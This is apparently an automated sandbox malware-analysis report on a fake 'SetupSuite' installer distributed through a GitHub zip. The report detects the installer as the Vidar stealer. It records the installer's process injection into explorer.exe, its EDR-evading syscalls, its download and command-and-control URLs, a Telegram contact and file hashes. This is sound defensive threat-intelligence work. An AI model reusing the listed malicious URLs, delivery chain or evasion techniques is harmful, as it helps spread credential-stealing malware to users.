Source: C:\Users\user\AppData\Local\Temp\221ppxeg.fmw\Setup7-main\SetupSuite_21.8_win64_86_sm.exe	Code function: 11_2_004403BE mov eax, dword ptr fs:[00000030h]		11_2_004403BE
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 15_2_0C0C23E0 mov eax, dword ptr fs:[00000030h]		15_2_0C0C23E0

Source: C:\Windows\SysWOW64\unarchiver.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Found direct / indirect Syscall (likely to bypass EDR)

Source: C:\Users\user\AppData\Local\Temp\221ppxeg.fmw\Setup7-main\SetupSuite_21.8_win64_86_sm.exe	NtQuerySystemInformation: Direct from: 0x77377B2E			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\221ppxeg.fmw\Setup7-main\SetupSuite_21.8_win64_86_sm.exe	NtSetInformationThread: Direct from: 0x44105F			Jump to behavior

Injects code into the Windows Explorer (explorer.exe)

Source: C:\Windows\SysWOW64\cmd.exe	Memory written: PID: 3852 base: 30A0000 value: 00	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Memory written: PID: 3852 base: 2FD72D8 value: 00	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Memory written: PID: 3852 base: 2FD81E8 value: 00	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Memory written: PID: 3852 base: 3979C0 value: 55	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Memory written: PID: 3852 base: 2FD8008 value: 00	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Memory written: PID: 3852 base: 30B0000 value: 00	Jump to behavior

Maps a DLL or memory area into another process

Source: C:\Users\user\AppData\Local\Temp\221ppxeg.fmw\Setup7-main\SetupSuite_21.8_win64_86_sm.exe

Section loaded: NULL target: C:\Windows\SysWOW64\cmd.exe protection: read write

Jump to behavior

Writes to foreign memory regions

Source: C:\Windows\SysWOW64\cmd.exe	Memory written: C:\Windows\SysWOW64\explorer.exe base: 3979C0	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Memory written: C:\Windows\SysWOW64\explorer.exe base: 2FD8008	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Memory written: C:\Windows\SysWOW64\explorer.exe base: 30B0000	Jump to behavior

Source: C:\Windows\SysWOW64\unarchiver.exe	Process created: C:\Windows\SysWOW64\7za.exe "C:\Windows\System32\7za.exe" x -pinfected -y -o"C:\Users\user\AppData\Local\Temp\221ppxeg.fmw" "C:\Users\user\Downloads\Setup7-main (1).zip"	Jump to behavior
Source: C:\Windows\SysWOW64\unarchiver.exe	Process created: C:\Windows\SysWOW64\cmd.exe "cmd.exe" /C "C:\Users\user\AppData\Local\Temp\221ppxeg.fmw\Setup7-main\SetupSuite_21.8_win64_86_sm.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\221ppxeg.fmw\Setup7-main\SetupSuite_21.8_win64_86_sm.exe C:\Users\user\AppData\Local\Temp\221ppxeg.fmw\Setup7-main\SetupSuite_21.8_win64_86_sm.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\221ppxeg.fmw\Setup7-main\SetupSuite_21.8_win64_86_sm.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\cmd.exe	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\explorer.exe C:\Windows\SysWOW64\explorer.exe	Jump to behavior

Source: C:\Windows\SysWOW64\cmd.exe	Queries volume information: C:\ VolumeInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\221ppxeg.fmw\Setup7-main\SetupSuite_21.8_win64_86_sm.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\3f2c7637 VolumeInformation			Jump to behavior

Source: C:\Windows\SysWOW64\unarchiver.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: Amcache.hve.18.dr	Binary or memory string: c:\programdata\microsoft\windows defender\platform\4.18.23080.2006-0\msmpeng.exe
Source: Amcache.hve.18.dr	Binary or memory string: msmpeng.exe
Source: Amcache.hve.18.dr	Binary or memory string: c:\program files\windows defender\msmpeng.exe
Source: Amcache.hve.18.dr	Binary or memory string: c:\programdata\microsoft\windows defender\platform\4.18.23090.2008-0\msmpeng.exe
Source: Amcache.hve.18.dr	Binary or memory string: MsMpEng.exe

Stealing of Sensitive Information

Yara detected Vidar stealer

Source: Yara match	File source: 12.2.cmd.exe.50f00c8.7.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.cmd.exe.50f00c8.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000F.00000002.2613857309.00000000030D3000.00000002.00000001.01000000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.2588979306.00000000050F0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: cmd.exe PID: 2740, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: explorer.exe PID: 3852, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\esect, type: DROPPED

Remote Access Functionality

Yara detected Vidar stealer

Source: Yara match	File source: 12.2.cmd.exe.50f00c8.7.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.cmd.exe.50f00c8.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000F.00000002.2613857309.00000000030D3000.00000002.00000001.01000000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.2588979306.00000000050F0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: cmd.exe PID: 2740, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: explorer.exe PID: 3852, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\esect, type: DROPPED

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	2 Command and Scripting Interpreter	11 DLL Side-Loading	311 Process Injection	11 Masquerading	OS Credential Dumping	121 Security Software Discovery	Remote Services	1 Archive Collected Data	11 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	1 Abuse Elevation Control Mechanism	1 Disable or Modify Tools	LSASS Memory	1 Process Discovery	Remote Desktop Protocol	Data from Removable Media	3 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	11 DLL Side-Loading	41 Virtualization/Sandbox Evasion	Security Account Manager	41 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	4 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	311 Process Injection	NTDS	13 System Information Discovery	Distributed Component Object Model	Input Capture	15 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Abuse Elevation Control Mechanism	LSA Secrets	Internet Connection Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Obfuscated Files or Information	Cached Domain Credentials	Wi-Fi Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	11 DLL Side-Loading	DCSync	Remote System Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
https://fahrerdokument.com/zip3/	0%	Avira URL Cloud	safe

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Local\Temp\esect	100%	Avira	TR/Crypt.XPACK.Gen
C:\Users\user\AppData\Local\Temp\esect	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\221ppxeg.fmw\Setup7-main\SetupSuite_21.8_win64_86_sm.exe	12%	ReversingLabs	Win32.Trojan.Generic

Source	Detection	Scanner	Label
https://fahrerdokument.com/image/downloadimage.png	0%	Avira URL Cloud	safe
https://visualredistributable.click/lions.exe	0%	Avira URL Cloud	safe
https://tufure.xyz	0%	Avira URL Cloud	safe
https://tufure.xyzCristina	0%	Avira URL Cloud	safe
https://fahrerdokument.com/favicon.ico	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
fahrerdokument.com	89.187.28.179	true	false	unknown
a.nel.cloudflare.com	35.190.80.1	true	false	high
github.com	140.82.113.3	true	false	high
www.google.com	142.250.189.132	true	false	high
codeload.github.com	140.82.114.10	true	false	high
visualredistributable.click	104.21.35.10	true	false	unknown
fp2e7a.wpc.phicdn.net	192.229.211.108	true	false	unknown
windowsupdatebg.s.llnwi.net	208.111.136.128	true	false	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://a.nel.cloudflare.com/report/v4?s=om2lbIfwWTcEwm8op1rQcBZzZMoBhAGhuOzQESliNOo38ZmPV8T4wykblSF0wsFb0T%2B0W3%2FddE%2B3ODZJJwK%2B63nLT88l5YlJzcqyK3b4S83uNEiKM%2BwuFNAEL6O0KG8fhymhjscd6fxjZebgYTs%3D	false		high
https://fahrerdokument.com/image/downloadimage.png	false	Avira URL Cloud: safe	unknown
https://github.com/softofdaddy/Setup7/archive/refs/heads/main.zip	false		high
https://visualredistributable.click/lions.exe	false	Avira URL Cloud: safe	unknown
https://tufure.xyz	true	Avira URL Cloud: safe	unknown
https://fahrerdokument.com/favicon.ico	false	Avira URL Cloud: safe	unknown
https://fahrerdokument.com/zip3/	false		unknown
https://codeload.github.com/softofdaddy/Setup7/zip/refs/heads/main	false		high
https://steamcommunity.com/profiles/76561199658817715	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://DotNetZip.codeplex.com/	SetupSuite_21.8_win64_86_sm.exe.7.dr	false		high
http://www.vmware.com/0	SetupSuite_21.8_win64_86_sm.exe, 0000000B.00000002.2399051509.00000000057B5000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 0000000C.00000002.2588641634.0000000004B75000.00000004.00000800.00020000.00000000.sdmp, explorer.exe, 0000000F.00000002.2614384661.000000000C108000.00000004.00000800.00020000.00000000.sdmp	false		high
https://t.me/sa9ok	cmd.exe, 0000000C.00000002.2588979306.00000000050F0000.00000004.00001000.00020000.00000000.sdmp, explorer.exe, 0000000F.00000002.2613857309.00000000030D3000.00000002.00000001.01000000.00000000.sdmp, esect.12.dr	false		high
http://www.2brightsparks.com/onclick/help/	SetupSuite_21.8_win64_86_sm.exe, 0000000B.00000000.2304758123.0000000000421000.00000020.00000001.01000000.00000008.sdmp, SetupSuite_21.8_win64_86_sm.exe, 0000000B.00000002.2375749137.0000000004061000.00000004.00000020.00020000.00000000.sdmp, SetupSuite_21.8_win64_86_sm.exe.7.dr	false		high
http://www.symauth.com/rpa00	SetupSuite_21.8_win64_86_sm.exe, 0000000B.00000002.2399051509.00000000057B5000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 0000000C.00000002.2588641634.0000000004B75000.00000004.00000800.00020000.00000000.sdmp, explorer.exe, 0000000F.00000002.2614384661.000000000C108000.00000004.00000800.00020000.00000000.sdmp	false		high
https://t.me/sa9okfgshhttps://steamcommunity.com/profiles/76561199658817715sql.dllsqlm.dllMozilla/5.	cmd.exe, 0000000C.00000002.2588979306.00000000050F0000.00000004.00001000.00020000.00000000.sdmp, explorer.exe, 0000000F.00000002.2613857309.00000000030D3000.00000002.00000001.01000000.00000000.sdmp, esect.12.dr	false		high
http://www.2brightsparks.com/foc/foc-v-check.txt	SetupSuite_21.8_win64_86_sm.exe, 0000000B.00000000.2304758123.0000000000421000.00000020.00000001.01000000.00000008.sdmp, SetupSuite_21.8_win64_86_sm.exe, 0000000B.00000002.2375749137.0000000004061000.00000004.00000020.00020000.00000000.sdmp, SetupSuite_21.8_win64_86_sm.exe.7.dr	false		high
http://www.info-zip.org/	SetupSuite_21.8_win64_86_sm.exe, 0000000B.00000002.2399051509.000000000568F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 0000000C.00000002.2588641634.0000000004B2D000.00000004.00000800.00020000.00000000.sdmp, explorer.exe, explorer.exe, 0000000F.00000002.2614384661.000000000C0C0000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.2brightsparks.com/onclick/index.html	SetupSuite_21.8_win64_86_sm.exe, 0000000B.00000000.2304758123.0000000000421000.00000020.00000001.01000000.00000008.sdmp, SetupSuite_21.8_win64_86_sm.exe, 0000000B.00000002.2375749137.0000000004061000.00000004.00000020.00020000.00000000.sdmp, SetupSuite_21.8_win64_86_sm.exe.7.dr	false		high
http://www.codeplex.com/DotNetZip	SetupSuite_21.8_win64_86_sm.exe.7.dr	false		high
http://www.vmware.com/0/	SetupSuite_21.8_win64_86_sm.exe, 0000000B.00000002.2399051509.00000000057B5000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 0000000C.00000002.2588641634.0000000004B75000.00000004.00000800.00020000.00000000.sdmp, explorer.exe, 0000000F.00000002.2614384661.000000000C108000.00000004.00000800.00020000.00000000.sdmp	false		high
https://steamcommunity.com/profiles/76561199658817715fgshMozilla/5.0	cmd.exe, 0000000C.00000002.2588979306.00000000050F0000.00000004.00001000.00020000.00000000.sdmp, explorer.exe, 0000000F.00000002.2613857309.00000000030D3000.00000002.00000001.01000000.00000000.sdmp, esect.12.dr	false		high
http://upx.sf.net	Amcache.hve.18.dr	false		high
http://www.symauth.com/cps0(	SetupSuite_21.8_win64_86_sm.exe, 0000000B.00000002.2399051509.00000000057B5000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 0000000C.00000002.2588641634.0000000004B75000.00000004.00000800.00020000.00000000.sdmp, explorer.exe, 0000000F.00000002.2614384661.000000000C108000.00000004.00000800.00020000.00000000.sdmp	false		high
https://tufure.xyzCristina	cmd.exe, 0000000C.00000002.2588979306.00000000050F0000.00000004.00001000.00020000.00000000.sdmp, explorer.exe, 0000000F.00000002.2613857309.00000000030D3000.00000002.00000001.01000000.00000000.sdmp, esect.12.dr	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
140.82.113.3	github.com	United States	36459	GITHUBUS	false
89.187.28.179	fahrerdokument.com	Ukraine	39810	UA-WICOMWiMAXUkraineAutonomousSystemUA	false
142.250.189.132	www.google.com	United States	15169	GOOGLEUS	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
35.190.80.1	a.nel.cloudflare.com	United States	15169	GOOGLEUS	false
140.82.114.10	codeload.github.com	United States	36459	GITHUBUS	false
104.21.35.10	visualredistributable.click	United States	13335	CLOUDFLARENETUS	false

Private

IP
192.168.2.6

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1421053
Start date and time:	2024-04-05 20:09:33 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 33s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	browseurl.jbs
Sample URL:	https://fahrerdokument.com/zip3/
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	19
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal100.troj.evad.win@38/25@14/8
EGA Information:	Successful, ratio: 66.7%
HCA Information:	Successful, ratio: 100% Number of executed functions: 51 Number of non-executed functions: 12
Cookbook Comments:	Browse: https://github.com/softofdaddy/Setup7/archive/refs/heads/main.zip Browse: https://visualredistributable.click/lions.exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WerFault.exe, WMIADAP.exe, SIHClient.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 142.250.189.131, 142.250.217.206, 74.125.196.84, 34.104.35.123, 40.127.169.103, 192.229.211.108, 23.45.182.80, 23.45.182.100, 23.45.182.96, 23.45.182.93, 23.45.182.104, 23.45.182.86, 23.45.182.95, 23.45.182.79, 23.45.182.85, 20.3.187.198, 13.85.23.206, 40.126.28.20, 40.126.28.23, 40.126.28.21, 40.126.28.14, 40.126.28.11, 40.126.7.35, 40.126.7.32, 40.126.28.19, 20.42.73.29, 142.250.217.227, 13.89.179.12, 72.21.81.240
Excluded domains from analysis (whitelisted): slscr.update.microsoft.com, clientservices.googleapis.com, a767.dspw65.akamai.net, onedsblobprdcus17.centralus.cloudapp.azure.com, wu.azureedge.net, clients2.google.com, ocsp.digicert.com, login.live.com, ocsp.edge.digicert.com, glb.cws.prod.dcat.dsp.trafficmanager.net, onedsblobprdeus15.eastus.cloudapp.azure.com, bg.apr-52dd2-0503.edgecastdns.net, cs11.wpc.v0cdn.net, sls.update.microsoft.com, update.googleapis.com, hlb.apr-52dd2-0.edgecastdns.net, glb.sls.prod.dcat.dsp.trafficmanager.net, client.wns.windows.com, prdv4a.aadg.msidentity.com, fs.microsoft.com, accounts.google.com, www.tm.v4.a.prd.aadg.akadns.net, wu.ec.azureedge.net, ctldl.windowsupdate.com, wu-bg-shim.trafficmanager.net, login.msa.msidentity.com, download.windowsupdate.com.edgesuite.net, fe3cr.delivery.mp.microsoft.com, fe3.delivery.mp.microsoft.com, edgedl.me.gvt1.com, blobcollector.events.data.trafficmanager.net, umwatson.events.data.microsoft.com, clients.l.google.com, www.tm.lg.prod.aadmsa.traf
Execution Graph export aborted for target explorer.exe, PID 3852 because there are no executed function
HTTPS proxy raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtSetInformationFile calls found.
VT rate limit hit for: https://fahrerdokument.com/zip3/

Simulations

Behavior and APIs

Time	Type	Description
20:11:09	API Interceptor	1x Sleep call for process: cmd.exe modified
20:11:12	API Interceptor	1x Sleep call for process: WerFault.exe modified

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_explorer.exe_2261cd52fd6aae7d5b1c5935fb1d1fb2928a1df_8e15b34f_b11a858f-294a-4aea-9a3e-4b282a2e7e87\Report.wer

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.759853543377051
Encrypted:	false
SSDEEP:	96:SCFUOuYGcgIKWUsAZQCoI7Jf7QXIDcQvc6QcEVcw3cE/OUeU3+HbHgS8BRTf3o8+:B4YGszUk0BU/wjmjzuiFLZ24IO8c6
MD5:	E94118AE17FA87A8FD6F6DA873BBAB73
SHA1:	C7EC2DA8C1CE42D5DCCA770947B0EDAE2B6407DC
SHA-256:	56F943754F0F3C76324BD1B8687F0E3648520A1F414CF2C26170BF2555EF07D1
SHA-512:	0136B239F6F93E0F19208CA6DB375D003C460AD790B93FFA1BE169D7DCEA0C9DD3254B6421978F6C544893AEE04B16A355AB0BF380F7BAED4F6AA60D06A13412
Malicious:	false
Reputation:	low
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.A.P.P.C.R.A.S.H.....E.v.e.n.t.T.i.m.e.=.1.3.3.5.6.8.1.4.2.7.0.3.3.4.9.2.8.4.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.3.5.6.8.1.4.2.7.0.6.9.4.0.3.2.6.....R.e.p.o.r.t.S.t.a.t.u.s.=.5.2.4.3.8.4.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.b.1.1.a.8.5.8.f.-.2.9.4.a.-.4.a.e.a.-.9.a.3.e.-.4.b.2.8.2.a.2.e.7.e.8.7.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.2.4.a.2.d.1.d.6.-.6.3.3.7.-.4.7.0.2.-.9.2.6.5.-.9.c.d.8.6.9.8.9.c.9.1.2.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.e.x.p.l.o.r.e.r...e.x.e.....O.r.i.g.i.n.a.l.F.i.l.e.n.a.m.e.=.E.X.P.L.O.R.E.R...E.X.E.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.0.f.0.c.-.0.0.0.1.-.0.0.1.5.-.c.8.8.b.-.2.9.9.f.8.4.8.7.d.a.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.0.f.5.1.9.f.e.e.c.4.8.6.d.e.8.7.e.d.7.3.c.b.9.2.d.3.c.a.c.8.0.2.4.0.0.0.0.0.0.0.0.!.0.0.0.0.d.e.8.4.1.4.7.e.2.e.6.2.c.a.9.5.6.e.7.4.0.7.0.e.f.6.c.e.f.d.6.1.6.1.9.1.e.

C:\ProgramData\Microsoft\Windows\WER\Temp\WERAF94.tmp.dmp

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 14 streams, Fri Apr 5 18:11:10 2024, 0x1205a4 type
Category:	dropped
Size (bytes):	39424
Entropy (8bit):	2.001042585966566
Encrypted:	false
SSDEEP:	192:EBjzZhHTfHITON3pohK0ZCygLK5t2H4WxPjye:6hHTAK8Cyg2rExjy
MD5:	8DEFE98D35B251EC67D2FB40F3B58838
SHA1:	5FDCBF2D3B19D42EEC1748FBB19458E24B4C72A7
SHA-256:	47F9568046863538E9D6800B9D5A90229E410DE1B524DA69A2915AB93263F6AC
SHA-512:	12246117BCA2730F637B1C91A05BD0F07983E127373CCEDA3F8D521EBB7789ACE3320043D4C95006DD4A2F41471BDC72594AC7500C21B5299DAE33E88E3B36C4
Malicious:	false
Reputation:	low
Preview:	MDMP..a..... ........>.f........................h................#..........T.......8...........T...............h.......................................................................................................eJ..............GenuineIntel............T............>.f.............................0..2...............W... .E.u.r.o.p.e. .S.t.a.n.d.a.r.d. .T.i.m.e.......................................W... .E.u.r.o.p.e. .S.u.m.m.e.r. .T.i.m.e...........................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6...................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WERB031.tmp.WERInternalMetadata.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	8326
Entropy (8bit):	3.69600855878266
Encrypted:	false
SSDEEP:	192:R6l7wVeJG/6pzWc6YDq6AXgmfqd5prt89bXZsfHdm:R6lXJ+6pzWc6Yu6AXgmfqduXyfg
MD5:	EE1B19B5AD698B9F263DEBD5697272FB
SHA1:	CA1FE784B8FB405CA96CF5DB8E4F5A25E87CBC4D
SHA-256:	CF806BBD313EEFCD9E832D05DD97CF1CBC745E60C4255D0E8C847B23EEC1D168
SHA-512:	30095AA80F26BC32E594B5C6B8186E0CCE77818493A47DB8120B5000A7EC8A774C46BE7C9D9217105EE6B96136E4CFA97588D7430EF35A27F812D25FA7841CCB
Malicious:	false
Reputation:	low
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.3.8.5.2.<./.P.i.

C:\ProgramData\Microsoft\Windows\WER\Temp\WERB061.tmp.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4693
Entropy (8bit):	4.4952686974336356
Encrypted:	false
SSDEEP:	48:cvIwWl8zsnJg77aI9LQWpW8VY3Ym8M4JyGFS+q8Eww0fTNd:uIjfJI7Jp7VvJiSdfTNd
MD5:	D8727AD761F488867CFB42EE25D157EB
SHA1:	F848D478281643DA38C366EBCC8F3776187880ED
SHA-256:	EAF8F103EDBDC5D7B5F629B183B26D1FA0FD32202E34690F80583353A44B3E3A
SHA-512:	B1808F11E56A8F397E92A86F3F2046BF6FECB5038F28D2E2E8B4B4A39E8876C6B73A04BE117EAEE6B8B24DBCBD423058586B232A37AE29EDF5C95304BC69E02D
Malicious:	false
Reputation:	low
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="266953" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

C:\Users\user\AppData\Local\Temp\221ppxeg.fmw\Setup7-main\SetupSuite_21.8_win64_86_sm.exe

Download File

Process:	C:\Windows\SysWOW64\7za.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	18984288
Entropy (8bit):	7.538850993530861
Encrypted:	false
SSDEEP:	393216:mzJGidgsS3yMvyB4JfQO/DEkf8xzw734BtnSCmlmD:8Ay6xQOgmwnMmD
MD5:	DDDA012671F0CA2CA213060073B063E2
SHA1:	462783A60146A405F20BBA176C4D5F95BF5F785C
SHA-256:	61B02846FAE730A5B900745CF6FB113993254268609542A5A00404FE9CA985F2
SHA-512:	8D511C809089792EC3D788E04258FE1D3EA91BF128AB4B3688876E62B626B7D11EE305035B480612933C09944B27A842B12CFFEB109121C6583794024AB3C867
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 12%
Reputation:	low
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....M.e..................m..........m.......m...@...........................#.....@.....@......@....................u.t.....t..[....}..............!..'...0u.De........................... u......................t.T.....t......................text...d*m......,m................. ..`.itext..\c...@m..d...0m............. ..`.data.........m.......m.............@....bss....P.....r..........................idata...[....t..\....r.............@....didata.......t.......r.............@....edata..t.....u.......s.............@..@.tls....T.....u..........................rdata..].... u.......s.............@..@.reloc..,e...0u..f....s.............@..B.rsrc........}.....v{.............@..@...................................@..@................

C:\Users\user\AppData\Local\Temp\3f2c7637

Download File

Process:	C:\Users\user\AppData\Local\Temp\221ppxeg.fmw\Setup7-main\SetupSuite_21.8_win64_86_sm.exe
File Type:	PNG image data, 2128 x 867, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	1002425
Entropy (8bit):	7.99082126674057
Encrypted:	true
SSDEEP:	24576:Qh4aMFvjPAkyr8zVtrQzoRKk7GSuWKtXDqw0KUlMcHK4r:Q2ai9yAzooIgXpKtzqw0JMqr
